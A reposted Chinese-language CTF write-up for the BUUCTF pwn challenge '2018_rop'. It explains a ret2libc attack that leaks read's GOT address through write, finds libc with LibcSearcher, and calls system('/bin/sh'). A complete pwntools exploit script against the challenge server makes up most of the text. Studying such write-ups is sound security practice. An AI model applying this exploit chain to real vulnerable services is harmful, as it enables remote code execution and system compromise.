[BUUCTF-pwn]——铁人三项(第五赛区)_2018_rop
生活随笔
收集整理的這篇文章主要介紹了
[BUUCTF-pwn]——铁人三项(第五赛区)_2018_rop
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
[BUUCTF-pwn]——鐵人三項(第五賽區)_2018_rop
- 題目地址: https://buuoj.cn/challenges#鐵人三項(第五賽區)_2018_rop
- 思路:沒有sytem函數,所以應該需要自己去找. 從旁邊的函數列表發現了write函數,可以利用將 read 函數的 got所儲存的內容泄露出來,泄露出read函數的實際地址 。利用循環調用,再次調用read函數, 然后利用偏移找到system函數和 '/bin/sh'字符串的位置。最后組成payload
exploit
from pwn import * from LibcSearcher import * elf = ELF("./2018_rop") p = remote("node3.buuoj.cn",28628) read_plt = elf.plt['read'] read_got = elf.got['read'] write_plt = elf.plt['write'] main_addr = 0x080484C6 payload = 'a' * (0x88 + 0x4) payload += p32(write_plt) + p32(main_addr) payload += p32(1) + p32(read_got) + p32(8) p.sendline(payload) read_addr = u32(p.recv(4)) print hex(read_addr) libc = LibcSearcher("read", read_addr) libc_base = read_addr - libc.dump("read") sys_addr = libc_base + libc.dump("system") binsh = libc_base + libc.dump("str_bin_sh") payload = 'a' * (0x88 + 0x4) payload += p32(sys_addr) + p32(0) + p32(binsh) p.sendline(payload) p.interactive()總結
以上是生活随笔為你收集整理的[BUUCTF-pwn]——铁人三项(第五赛区)_2018_rop的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [BUUCTF-pwn]——ciscn_
- 下一篇: [BUUCTF-pwn]——bjdctf